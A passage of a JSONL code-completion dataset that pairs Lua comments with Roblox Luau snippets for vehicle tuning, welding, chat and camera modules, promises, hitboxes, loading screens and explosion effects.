\u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u043c", "completion": "\nlocal tmp = hits:Clone()\ntmp.Disabled=false\ntmp.Parent=L1\nlocal tmp = hits:Clone()\ntmp.Disabled=false\ntmp.Parent=L2"} +{"prompt": "--Setup script (It's automatic, you don't need to edit)", "completion": "\nlocal MODEL = script.Parent\n\nlocal CONFIG = MODEL.Configuration\nlocal CAMERA1 = MODEL.Camera3\nlocal CAMERA2 = MODEL.Camera4\nlocal TRIGGER = MODEL.CutscenePart\nlocal SCRIPT = MODEL.CutsceneScript\n\nCONFIG.Parent = SCRIPT\nCAMERA1.Parent = workspace\nCAMERA1.Transparency = 1\nCAMERA2.Parent = workspace\nCAMERA2.Transparency = 1\nTRIGGER.Parent = workspace\nSCRIPT.Parent = game.StarterPlayer.StarterPlayerScripts\nMODEL:Destroy()\n"} +{"prompt": "--[[[Default Controls]]", "completion": "\n\t--Peripheral Deadzones\n\tTune.Peripherals = {\n\t\tMSteerWidth\t\t\t\t= 67\t\t,\t-- Mouse steering control width\t(0 - 100% of screen width)\n\t\tMSteerDZone\t\t\t\t= 10\t\t,\t-- Mouse steering deadzone (0 - 100%)\n\t\t\n\t\tControlLDZone\t\t\t= 5\t\t\t,\t-- Controller steering L-deadzone (0 - 100%)\n\t\tControlRDZone\t\t\t= 5\t\t\t,\t-- Controller steering R-deadzone (0 - 100%)\n\t}\n\t\n\t--Control Mapping\n\tTune.Controls = {\n\t\t\n\t--Keyboard Controls\n\t\t--Mode Toggles\n\t\tToggleTCS\t\t\t\t= Enum.KeyCode.T\t\t\t\t\t,\n\t\tToggleABS\t\t\t\t= Enum.KeyCode.Y\t\t\t\t\t,\n\t\tToggleTransMode\t\t\t= Enum.KeyCode.N\t\t\t\t\t,\n\t\tToggleMouseDrive\t\t= Enum.KeyCode.R\t\t\t\t\t,\n\t\t\n\t\t--Primary Controls\n\t\tThrottle\t\t\t\t= Enum.KeyCode.Up\t\t\t\t\t,\n\t\tBrake\t\t\t\t\t= Enum.KeyCode.Down\t\t\t\t\t,\n\t\tSteerLeft\t\t\t\t= Enum.KeyCode.Left\t\t\t\t\t,\n\t\tSteerRight\t\t\t\t= Enum.KeyCode.Right\t\t\t\t,\n\t\t\n\t\t--Secondary Controls\n\t\tThrottle2\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tBrake2\t\t\t\t\t= Enum.KeyCode.S\t\t\t\t\t,\n\t\tSteerLeft2\t\t\t\t= Enum.KeyCode.A\t\t\t\t\t,\n\t\tSteerRight2\t\t\t\t= Enum.KeyCode.D\t\t\t\t\t,\n\t\t\n\t\t--Manual Transmission\n\t\tShiftUp\t\t\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tShiftDown\t\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tClutch\t\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t\t--Handbrake\n\t\tPBrake\t\t\t\t\t= Enum.KeyCode.P\t\t\t\t\t,\n\t\t\n\t--Mouse Controls\n\t\tMouseThrottle\t\t\t= Enum.UserInputType.MouseButton1\t,\n\t\tMouseBrake\t\t\t\t= Enum.UserInputType.MouseButton2\t,\n\t\tMouseClutch\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tMouseShiftUp\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tMouseShiftDown\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tMousePBrake\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t--Controller Mapping\n\t\tContlrThrottle\t\t\t= Enum.KeyCode.ButtonR2\t\t\t\t,\n\t\tContlrBrake\t\t\t\t= Enum.KeyCode.ButtonL2\t\t\t\t,\n\t\tContlrSteer\t\t\t\t= Enum.KeyCode.Thumbstick1\t\t\t,\n\t\tContlrShiftUp\t\t\t= Enum.KeyCode.ButtonY\t\t\t\t,\n\t\tContlrShiftDown\t\t\t= Enum.KeyCode.ButtonX\t\t\t\t,\n\t\tContlrClutch\t\t\t= Enum.KeyCode.ButtonR1\t\t\t\t,\n\t\tContlrPBrake\t\t\t= Enum.KeyCode.ButtonL1\t\t\t\t,\n\t\tContlrToggleTMode\t\t= Enum.KeyCode.DPadUp\t\t\t\t,\n\t\tContlrToggleTCS\t\t\t= Enum.KeyCode.DPadDown\t\t\t\t,\n\t\tContlrToggleABS\t\t\t= Enum.KeyCode.DPadRight\t\t\t,\n\t}\n\t"} +{"prompt": "--[[Weld functions]]", "completion": "\n\n\tlocal JS = game:GetService(\"JointsService\")\n\tlocal PGS_ON = workspace:PGSIsEnabled()\n\t\n\tfunction MakeWeld(x,y,type,s) \n\t\tif type==nil then type=\"Weld\" end\n\t\tlocal W=Instance.new(type,JS) \n\t\tW.Part0=x W.Part1=y \n\t\tW.C0=x.CFrame:inverse()*x.CFrame \n\t\tW.C1=y.CFrame:inverse()*x.CFrame \n\t\tif type==\"Motor\" and s~=nil then \n\t\t\tW.MaxVelocity=s \n\t\tend \n\t\treturn W\t\n\tend\n\t\n\tfunction ModelWeld(a,b) \n\t\tif a:IsA(\"BasePart\") then \n\t\t\tMakeWeld(b,a,\"Weld\") \n\t\telseif a:IsA(\"Model\") then \n\t\t\tfor i,v in pairs(a:GetChildren()) do \n\t\t\t\tModelWeld(v,b) \n\t\t\tend \n\t\tend \n\tend\n\t\n\tfunction UnAnchor(a) \n\t\tif a:IsA(\"BasePart\") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end \n\tend\n\n\n\t"} +{"prompt": "-- Open", "completion": "\ngame.ReplicatedStorage.GiveSystem.HandToSystem.OnClientEvent:Connect(function(plr, From, Text)\n\tscript.Parent:TweenPosition(UDim2.new(0.26, 0,0.263, 0))\nend)\n"} +{"prompt": "--////////////////////////////////////////////////////////////////////////////////////////////\n--///////////// Code to talk to topbar and maintain set/get core backwards compatibility stuff\n--////////////////////////////////////////////////////////////////////////////////////////////", "completion": "\nlocal Util = {}\ndo\n\tfunction Util.Signal()\n\t\tlocal sig = {}\n\n\t\tlocal mSignaler = Instance.new('BindableEvent')\n\n\t\tlocal mArgData = nil\n\t\tlocal mArgDataCount = nil\n\n\t\tfunction sig:fire(...)\n\t\t\tmArgData = {...}\n\t\t\tmArgDataCount = select('#', ...)\n\t\t\tmSignaler:Fire()\n\t\tend\n\n\t\tfunction sig:connect(f)\n\t\t\tif not f then error(\"connect(nil)\", 2) end\n\t\t\treturn mSignaler.Event:connect(function()\n\t\t\t\tf(unpack(mArgData, 1, mArgDataCount))\n\t\t\tend)\n\t\tend\n\n\t\tfunction sig:wait()\n\t\t\tmSignaler.Event:wait()\n\t\t\tassert(mArgData, \"Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.\")\n\t\t\treturn unpack(mArgData, 1, mArgDataCount)\n\t\tend\n\n\t\treturn sig\n\tend\nend\n\n\nfunction SetVisibility(val)\n\tChatWindow:SetVisible(val)\n\tmoduleApiTable.VisibilityStateChanged:fire(val)\n\tmoduleApiTable.Visible = val\n\n\tif (moduleApiTable.IsCoreGuiEnabled) then\n\t\tif (val) then\n\t\t\tInstantFadeIn()\n\t\telse\n\t\t\tInstantFadeOut()\n\t\tend\n\tend\nend\n\ndo\n\tmoduleApiTable.TopbarEnabled = true\n\tmoduleApiTable.MessageCount = 0\n\tmoduleApiTable.Visible = true\n\tmoduleApiTable.IsCoreGuiEnabled = true\n\n\tfunction moduleApiTable:ToggleVisibility()\n\t\tSetVisibility(not ChatWindow:GetVisible())\n\tend\n\n\tfunction moduleApiTable:SetVisible(visible)\n\t\tif (ChatWindow:GetVisible() ~= visible) then\n\t\t\tSetVisibility(visible)\n\t\tend\n\tend\n\n\tfunction moduleApiTable:FocusChatBar()\n\t\tChatBar:CaptureFocus()\n\tend\n\n\tfunction moduleApiTable:GetVisibility()\n\t\treturn ChatWindow:GetVisible()\n\tend\n\n\tfunction moduleApiTable:GetMessageCount()\n\t\treturn self.MessageCount\n\tend\n\n\tfunction moduleApiTable:TopbarEnabledChanged(enabled)\n\t\tself.TopbarEnabled = enabled\n\t\tself.CoreGuiEnabled:fire(game:GetService(\"StarterGui\"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat))\n\tend\n\n\tfunction moduleApiTable:IsFocused(useWasFocused)\n\t\treturn ChatBar:IsFocused()\n\tend\n\n\tmoduleApiTable.ChatBarFocusChanged = Util.Signal()\n\tmoduleApiTable.VisibilityStateChanged = Util.Signal()\n\tmoduleApiTable.MessagesChanged = Util.Signal()\n\n\n\tmoduleApiTable.MessagePosted = Util.Signal()\n\tmoduleApiTable.CoreGuiEnabled = Util.Signal()\n\n\tmoduleApiTable.ChatMakeSystemMessageEvent = Util.Signal()\n\tmoduleApiTable.ChatWindowPositionEvent = Util.Signal()\n\tmoduleApiTable.ChatWindowSizeEvent = Util.Signal()\n\tmoduleApiTable.ChatBarDisabledEvent = Util.Signal()\n\n\n\tfunction moduleApiTable:fChatWindowPosition()\n\t\treturn ChatWindow.GuiObject.Position\n\tend\n\n\tfunction moduleApiTable:fChatWindowSize()\n\t\treturn ChatWindow.GuiObject.Size\n\tend\n\n\tfunction moduleApiTable:fChatBarDisabled()\n\t\treturn not ChatBar:GetEnabled()\n\tend\n\n\n\n\tfunction moduleApiTable:SpecialKeyPressed(key, modifiers)\n\t\tif (key == Enum.SpecialKey.ChatHotkey) then\n\t\t\tif canChat then\n\t\t\t\tDoChatBarFocus()\n\t\t\tend\n\t\tend\n\tend\nend\n\nmoduleApiTable.CoreGuiEnabled:connect(function(enabled)\n\tmoduleApiTable.IsCoreGuiEnabled = enabled\n\n\tenabled = enabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)\n\n\tChatWindow:SetCoreGuiEnabled(enabled)\n\n\tif (not enabled) then\n\t\tChatBar:ReleaseFocus()\n\t\tInstantFadeOut()\n\telse\n\t\tInstantFadeIn()\n\tend\nend)\n\nfunction trimTrailingSpaces(str)\n\tlocal lastSpace = #str\n\twhile lastSpace > 0 do\n\t\t--- The pattern ^%s matches whitespace at the start of the string. (Starting from lastSpace)\n\t\tif str:find(\"^%s\", lastSpace) then\n\t\t\tlastSpace = lastSpace - 1\n\t\telse\n\t\t\tbreak\n\t\tend\n\tend\n\treturn str:sub(1, lastSpace)\nend\n\nmoduleApiTable.ChatMakeSystemMessageEvent:connect(function(valueTable)\n\tif (valueTable[\"Text\"] and type(valueTable[\"Text\"]) == \"string\") then\n\t\twhile (not DidFirstChannelsLoads) do wait() end\n\n\t\tlocal channel = ChatSettings.GeneralChannelName\n\t\tlocal channelObj = ChatWindow:GetChannel(channel)\n\n\t\tif (channelObj) then\n\t\t\tlocal messageObject = {\n\t\t\t\tID = -1,\n\t\t\t\tFromSpeaker = nil,\n\t\t\t\tSpeakerUserId = 0,\n\t\t\t\tOriginalChannel = channel,\n\t\t\t\tIsFiltered = true,\n\t\t\t\tMessageLength = string.len(valueTable.Text),\n\t\t\t\tMessage = trimTrailingSpaces(valueTable.Text),\n\t\t\t\tMessageType = ChatConstants.MessageTypeSetCore,\n\t\t\t\tTime = os.time(),\n\t\t\t\tExtraData = valueTable,\n\t\t\t}\n\t\t\tchannelObj:AddMessageToChannel(messageObject)\n\t\t\tChannelsBar:UpdateMessagePostedInChannel(channel)\n\n\t\t\tmoduleApiTable.MessageCount = moduleApiTable.MessageCount + 1\n\t\t\tmoduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)\n\t\tend\n\tend\nend)\n\nmoduleApiTable.ChatBarDisabledEvent:connect(function(disabled)\n\tif canChat then\n\t\tChatBar:SetEnabled(not disabled)\n\t\tif (disabled) then\n\t\t\tChatBar:ReleaseFocus()\n\t\tend\n\tend\nend)\n\nmoduleApiTable.ChatWindowSizeEvent:connect(function(size)\n\tChatWindow.GuiObject.Size = size\nend)\n\nmoduleApiTable.ChatWindowPositionEvent:connect(function(position)\n\tChatWindow.GuiObject.Position = position\nend)\n"} +{"prompt": "--- Sets the command bar visible or not", "completion": "\nfunction Window:SetVisible(visible)\n\tGui.Visible = visible\n\n\tif visible then\n\t\tEntry.TextBox:CaptureFocus()\n\t\tself:SetEntryText(\"\")\n\n\t\tif self.Cmdr.ActivationUnlocksMouse then\n\t\t\tself.PreviousMouseBehavior = UserInputService.MouseBehavior\n\t\t\tUserInputService.MouseBehavior = Enum.MouseBehavior.Default\n\t\tend\n\telse\n\t\tEntry.TextBox:ReleaseFocus()\n\t\tself.AutoComplete:Hide()\n\n\t\tif self.PreviousMouseBehavior then\n\t\t\tUserInputService.MouseBehavior = self.PreviousMouseBehavior\n\t\t\tself.PreviousMouseBehavior = nil\n\t\tend\n\tend\nend\n"} +{"prompt": "--local player = game:GetService(\"Players\").PlayerAdded:Connect(function(plr) \n--\tplr.CharacterAdded:Connect(function(char)\n--local char = script.Parent.Parent.Parent\n--local Params = RaycastParams.new()\n--\tParams.FilterDescendantsInstances = {char}\n--\tParams.FilterType = Enum.RaycastFilterType.Blacklist\n--\tprint(Params.FilterDescendantsInstances)\n--\tend)\n--end)", "completion": "\n\nlocal newHitbox = RaycastHitbox.new(script.Parent)\nnewHitbox.Visualizer = true\n\nnewHitbox.OnHit:Connect(function(hit, humanoid)\n\tif humanoid.Parent.Name ~= script.Parent.Parent.Parent.Name then\n\t\thumanoid:TakeDamage(35)\n\tend\nend)\n\nevent.OnServerEvent:Connect(function(db)\n\t\tnewHitbox:HitStart()\n\t\twait(1)\n\t\tnewHitbox:HitStop()\nend)\n"} +{"prompt": "--// Weapon Parts", "completion": "\nlocal L_53_ = L_1_:WaitForChild('AimPart')\nlocal L_54_\nlocal L_55_ = L_1_:WaitForChild('Grip')\nlocal L_56_ = L_1_:WaitForChild('FirePart')\nlocal L_57_\nlocal L_58_ = L_1_:WaitForChild('Mag')\nlocal L_59_ = L_1_:WaitForChild('Bolt')\n"} +{"prompt": "-- Stage de\u011feri de\u011fi\u015fti\u011finde fonksiyonu \u00e7a\u011f\u0131rmak i\u00e7in bir olay tetikleyici olu\u015fturun", "completion": "\nstageValue:GetPropertyChangedSignal(\"Value\"):Connect(UpdateVisibility)\n"} +{"prompt": "-- Listener for changes to workspace.CurrentCamera", "completion": "\nfunction BaseCamera:OnCurrentCameraChanged()\n\tif UserInputService.TouchEnabled then\n\t\tif self.viewportSizeChangedConn then\n\t\t\tself.viewportSizeChangedConn:Disconnect()\n\t\t\tself.viewportSizeChangedConn = nil\n\t\tend\n\n\t\tlocal newCamera = game.Workspace.CurrentCamera\n\n\t\tif newCamera then\n\t\t\tself:OnViewportSizeChanged()\n\t\t\tself.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal(\"ViewportSize\"):Connect(function()\n\t\t\t\tself:OnViewportSizeChanged()\n\t\t\tend)\n\t\tend\n\tend\n\n\t-- VR support additions\n\tif self.cameraSubjectChangedConn then\n\t\tself.cameraSubjectChangedConn:Disconnect()\n\t\tself.cameraSubjectChangedConn = nil\n\tend\n\n\tlocal camera = game.Workspace.CurrentCamera\n\tif camera then\n\t\tself.cameraSubjectChangedConn = camera:GetPropertyChangedSignal(\"CameraSubject\"):Connect(function()\n\t\t\tself:OnNewCameraSubject()\n\t\tend)\n\t\tself:OnNewCameraSubject()\n\tend\nend\n\nfunction BaseCamera:OnDynamicThumbstickEnabled()\n\tif UserInputService.TouchEnabled then\n\t\tself.isDynamicThumbstickEnabled = true\n\tend\nend\n\nfunction BaseCamera:OnDynamicThumbstickDisabled()\n\tself.isDynamicThumbstickEnabled = false\nend\n\nfunction BaseCamera:OnGameSettingsTouchMovementModeChanged()\n\tif player.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then\n\t\tif (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick\n\t\t\tor UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then\n\t\t\tself:OnDynamicThumbstickEnabled()\n\t\telse\n\t\t\tself:OnDynamicThumbstickDisabled()\n\t\tend\n\tend\nend\n\nfunction BaseCamera:OnDevTouchMovementModeChanged()\n\tif player.DevTouchMovementMode == Enum.DevTouchMovementMode.DynamicThumbstick then\n\t\tself:OnDynamicThumbstickEnabled()\n\telse\n\t\tself:OnGameSettingsTouchMovementModeChanged()\n\tend\nend\n\nfunction BaseCamera:OnPlayerCameraPropertyChange()\n\t-- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed\n\tself:SetCameraToSubjectDistance(self.currentSubjectDistance)\nend\n\nfunction BaseCamera:GetCameraHeight()\n\tif VRService.VREnabled and not self.inFirstPerson then\n\t\treturn math.sin(VR_ANGLE) * self.currentSubjectDistance\n\tend\n\treturn 0\nend\n\nfunction BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity)\n\treturn translationVector * sensitivity\nend\n\nfunction BaseCamera:GamepadZoomPress()\n\tlocal dist = self:GetCameraToSubjectDistance()\n\n\tif dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then\n\t\tself:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2)\n\telseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then\n\t\tself:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1)\n\telse\n\t\tself:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3)\n\tend\nend\n\nfunction BaseCamera:Enable(enable: boolean)\n\tif self.enabled ~= enable then\n\t\tself.enabled = enable\n\t\tif self.enabled then\n\t\t\tCameraInput.setInputEnabled(true)\n\n\t\t\tself.gamepadZoomPressConnection = CameraInput.gamepadZoomPress:Connect(function()\n\t\t\t\tself:GamepadZoomPress()\n\t\t\tend)\n\n\t\t\tif player.CameraMode == Enum.CameraMode.LockFirstPerson then\n\t\t\t\tself.currentSubjectDistance = 0.5\n\t\t\t\tif not self.inFirstPerson then\n\t\t\t\t\tself:EnterFirstPerson()\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tCameraInput.setInputEnabled(false)\n\n\t\t\tif self.gamepadZoomPressConnection then\n\t\t\t\tself.gamepadZoomPressConnection:Disconnect()\n\t\t\t\tself.gamepadZoomPressConnection = nil\n\t\t\tend\n\t\t\t-- Clean up additional event listeners and reset a bunch of properties\n\t\t\tself:Cleanup()\n\t\tend\n\tend\nend\n\nfunction BaseCamera:GetEnabled(): boolean\n\treturn self.enabled\nend\n\nfunction BaseCamera:Cleanup()\n\tif self.subjectStateChangedConn then\n\t\tself.subjectStateChangedConn:Disconnect()\n\t\tself.subjectStateChangedConn = nil\n\tend\n\tif self.viewportSizeChangedConn then\n\t\tself.viewportSizeChangedConn:Disconnect()\n\t\tself.viewportSizeChangedConn = nil\n\tend\n\n\tself.lastCameraTransform = nil\n\tself.lastSubjectCFrame = nil\n\n\t-- Unlock mouse for example if right mouse button was being held down\n\tif UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then\n\t\tUserInputService.MouseBehavior = Enum.MouseBehavior.Default\n\tend\nend\n\nfunction BaseCamera:UpdateMouseBehavior()\n\tif self.isCameraToggle then\n\t\tCameraUI.setCameraModeToastEnabled(true)\n\t\tCameraInput.enableCameraToggleInput()\n\t\tCameraToggleStateController(self.inFirstPerson)\n\telse\n\t\tCameraUI.setCameraModeToastEnabled(false)\n\t\tCameraInput.disableCameraToggleInput()\n\n\t\t-- first time transition to first person mode or mouse-locked third person\n\t\tif self.inFirstPerson or self.inMouseLockedMode then\n\t\t\tUserGameSettings.RotationType = Enum.RotationType.CameraRelative\n\t\t\tUserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter\n\t\telse\n\t\t\tUserGameSettings.RotationType = Enum.RotationType.MovementRelative\n\t\t\tUserInputService.MouseBehavior = Enum.MouseBehavior.Default\n\t\tend\n\tend\nend\n\nfunction BaseCamera:UpdateForDistancePropertyChange()\n\t-- Calling this setter with the current value will force checking that it is still\n\t-- in range after a change to the min/max distance limits\n\tself:SetCameraToSubjectDistance(self.currentSubjectDistance)\nend\n\nfunction BaseCamera:SetCameraToSubjectDistance(desiredSubjectDistance: number): number\n\tlocal lastSubjectDistance = self.currentSubjectDistance\n\n\t-- By default, camera modules will respect LockFirstPerson and override the currentSubjectDistance with 0\n\t-- regardless of what Player.CameraMinZoomDistance is set to, so that first person can be made\n\t-- available by the developer without needing to allow players to mousewheel dolly into first person.\n\t-- Some modules will override this function to remove or change first-person capability.\n\tif player.CameraMode == Enum.CameraMode.LockFirstPerson then\n\t\tself.currentSubjectDistance = 0.5\n\t\tif not self.inFirstPerson then\n\t\t\tself:EnterFirstPerson()\n\t\tend\n\telse\n\t\tlocal newSubjectDistance = math.clamp(desiredSubjectDistance, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)\n\t\tif newSubjectDistance < FIRST_PERSON_DISTANCE_THRESHOLD then\n\t\t\tself.currentSubjectDistance = 0.5\n\t\t\tif not self.inFirstPerson then\n\t\t\t\tself:EnterFirstPerson()\n\t\t\tend\n\t\telse\n\t\t\tself.currentSubjectDistance = newSubjectDistance\n\t\t\tif self.inFirstPerson then\n\t\t\t\tself:LeaveFirstPerson()\n\t\t\tend\n\t\tend\n\tend\n\n\t-- Pass target distance and zoom direction to the zoom controller\n\tZoomController.SetZoomParameters(self.currentSubjectDistance, math.sign(desiredSubjectDistance - lastSubjectDistance))\n\n\t-- Returned only for convenience to the caller to know the outcome\n\treturn self.currentSubjectDistance\nend\n\nfunction BaseCamera:SetCameraType( cameraType )\n\t--Used by derived classes\n\tself.cameraType = cameraType\nend\n\nfunction BaseCamera:GetCameraType()\n\treturn self.cameraType\nend\n"} +{"prompt": "--- Updates the current instance state.", "completion": "\nfunction ScopeHierarchyItemButton:UpdateInstanceState()\n local NewName = self.props.Instance.Name\n local MaxTextBounds = Vector2.new(math.huge, math.huge)\n local TextBounds = TextService:GetTextSize(NewName, 33/2, Enum.Font.SourceSans, MaxTextBounds)\n\n -- Update instance state\n self:setState({\n InstanceName = NewName;\n InstanceNameLength = TextBounds.X;\n })\nend\n"} +{"prompt": "--[[**\n\t\n\tTakes a function to be called when :Get() is first called and there is a value in the data store. This function must return a value to set to. Used for deserializing.\n\t\n\n\t\n\tThe modifier function.\n\t\n**--]]", "completion": "\nfunction DataStore:BeforeInitialGet(modifier)\n\ttable.insert(self.beforeInitialGet, modifier)\nend\n"} +{"prompt": "-- Formerly getCurrentCameraMode, this function resolves developer and user camera control settings to\n-- decide which camera control module should be instantiated. The old method of converting redundant enum types", "completion": "\nfunction CameraModule:GetCameraControlChoice()\n\tlocal player = Players.LocalPlayer\n\n\tif player then\n\t\tif self.lastInputType == Enum.UserInputType.Touch or UserInputService.TouchEnabled then\n\t\t\t-- Touch\n\t\t\tif player.DevTouchCameraMode == Enum.DevTouchCameraMovementMode.UserChoice then\n\t\t\t\treturn CameraUtils.ConvertCameraModeEnumToStandard( UserGameSettings.TouchCameraMovementMode )\n\t\t\telse\n\t\t\t\treturn CameraUtils.ConvertCameraModeEnumToStandard( player.DevTouchCameraMode )\n\t\t\tend\n\t\telse\n\t\t\t-- Computer\n\t\t\tif player.DevComputerCameraMode == Enum.DevComputerCameraMovementMode.UserChoice then\n\t\t\t\tlocal computerMovementMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.ComputerCameraMovementMode)\n\t\t\t\treturn CameraUtils.ConvertCameraModeEnumToStandard(computerMovementMode)\n\t\t\telse\n\t\t\t\treturn CameraUtils.ConvertCameraModeEnumToStandard(player.DevComputerCameraMode)\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction CameraModule:OnCharacterAdded(char, player)\n\tif self.activeOcclusionModule then\n\t\tself.activeOcclusionModule:CharacterAdded(char, player)\n\tend\nend\n\nfunction CameraModule:OnCharacterRemoving(char, player)\n\tif self.activeOcclusionModule then\n\t\tself.activeOcclusionModule:CharacterRemoving(char, player)\n\tend\nend\n\nfunction CameraModule:OnPlayerAdded(player)\n\tplayer.CharacterAdded:Connect(function(char)\n\t\tself:OnCharacterAdded(char, player)\n\tend)\n\tplayer.CharacterRemoving:Connect(function(char)\n\t\tself:OnCharacterRemoving(char, player)\n\tend)\nend\n\nfunction CameraModule:OnMouseLockToggled()\n\tif self.activeMouseLockController then\n\t\tlocal mouseLocked = self.activeMouseLockController:GetIsMouseLocked()\n\t\tlocal mouseLockOffset = self.activeMouseLockController:GetMouseLockOffset()\n\t\tif self.activeCameraController then\n\t\t\tself.activeCameraController:SetIsMouseLocked(mouseLocked)\n\t\t\tself.activeCameraController:SetMouseLockOffset(mouseLockOffset)\n\t\tend\n\tend\nend\n\nlocal cameraModuleObject = CameraModule.new()\nlocal cameraApi = {}\n\nif FFlagUserRemoveTheCameraApi then\n\treturn cameraApi\nelse\n\treturn cameraModuleObject\nend\n"} +{"prompt": "-- Debug Message options", "completion": "\nlocal DEFAULT_DEBUG_LOGGER_PREFIX: string = \"[ Raycast Hitbox V4 ]\\n\"\nlocal DEFAULT_MISSING_ATTACHMENTS: string = \"No attachments found in object: %s. Can be safely ignored if using SetPoints.\"\nlocal DEFAULT_ATTACH_COUNT_NOTICE: string = \"%s attachments found in object: %s.\"\n"} +{"prompt": "--[[\n\tRaces a set of Promises and returns the first one that resolves,\n\tcancelling the others.\n]]", "completion": "\nfunction Promise.race(promises)\n\tassert(type(promises) == \"table\", string.format(ERROR_NON_LIST, \"Promise.race\"))\n\n\tfor i, promise in pairs(promises) do\n\t\tassert(Promise.is(promise), string.format(ERROR_NON_PROMISE_IN_LIST, \"Promise.race\", tostring(i)))\n\tend\n\n\treturn Promise._new(debug.traceback(nil, 2), function(resolve, reject, onCancel)\n\t\tlocal newPromises = {}\n\t\tlocal finished = false\n\n\t\tlocal function cancel()\n\t\t\tfor _, promise in ipairs(newPromises) do\n\t\t\t\tpromise:cancel()\n\t\t\tend\n\t\tend\n\n\t\tlocal function finalize(callback)\n\t\t\treturn function (...)\n\t\t\t\tcancel()\n\t\t\t\tfinished = true\n\t\t\t\treturn callback(...)\n\t\t\tend\n\t\tend\n\n\t\tif onCancel(finalize(reject)) then\n\t\t\treturn\n\t\tend\n\n\t\tfor i, promise in ipairs(promises) do\n\t\t\tnewPromises[i] = promise:andThen(finalize(resolve), finalize(reject))\n\t\tend\n\n\t\tif finished then\n\t\t\tcancel()\n\t\tend\n\tend)\nend\n"} +{"prompt": "--[[\n\tHigher order component that lets the wrapped component consume the EmoteContext.\n]]", "completion": "\nlocal function withEmoteContext(component)\n\treturn function(props)\n\t\tif props.emoteContext then\n\t\t\twarn(\"Child component has a prop named `emoteContext` and will be overriden by EmoteContext.\")\n\t\tend\n\n\t\treturn Roact.createElement(Context.Consumer, {\n\t\t\trender = function(emoteContext)\n\t\t\t\tlocal mergedProps = Cryo.Dictionary.join({ emoteContext = emoteContext }, props)\n\n\t\t\t\treturn Roact.createElement(component, mergedProps)\n\t\t\tend,\n\t\t})\n\tend\nend\n\nlocal EmoteContext = {\n\tConsumer = Context.Consumer,\n\tProvider = withConfiguration(EmoteContextProvider),\n\twithEmoteContext = withEmoteContext,\n}\n\nreturn EmoteContext\n"} +{"prompt": "-- Original values", "completion": "\nlocal Lighting = game:GetService(\"Lighting\")\nlocal OLC = Lighting.ExposureCompensation\n\n\nlocal function PlaySound()\n\tmodel.Lighting_Bolt.Transparency = 0\n\twait(.05)\n\tLighting.ExposureCompensation = 7\n\twait(.25)\n\tLighting.ExposureCompensation = OLC\n\tmodel.Lighting_Bolt.Transparency = 1\n\tsound:Play()\nend\n\nlocal function touched(otherPart)\n\tif(otherPart.Name == \"HumanoidRootPart\" ) then\n\t\tlocal player = game.Players:FindFirstChild(otherPart.Parent.Name)\n\t\tif(player) then\n\t\t\ttrigger.CanTouch = false\n\n\t\t\tPlaySound()\n\t\tend\n\tend\nend\n\ntrigger.Touched:Connect(touched)\n\n\n\n"} +{"prompt": "-- Remove the default loading screen", "completion": "\nReplicatedFirst:RemoveDefaultLoadingScreen()\n\nwait(5) -- Force screen to appear for a minimum number of seconds\nif not game:IsLoaded() then\n\tgame.Loaded:Wait()\nend\nscreenGui:Destroy()\n"} +{"prompt": "-- Repeat every 5 seconds", "completion": "\nwhile wait(5) do\n\t-- Create a new explosion object with the 'Example' template\n\tlocal NewExplosion = Explosion.new(\"Example\")\n\t\n\t-- Set the explosion lifetime to 4 seconds so that the sound (3.75s long) can finish playing.\n\tNewExplosion.Lifetime = 4\n\t\n\t-- Set the explosion's position\n\tNewExplosion:SetPosition(Vector3.new(-25, 5, 0))\n\t\n\t-- EffectFunction will be called after this.\n\tNewExplosion:SetParent(workspace)\nend\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 3800\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3\t\t,\n\t --[[Length]]\t\t10\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .6\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry 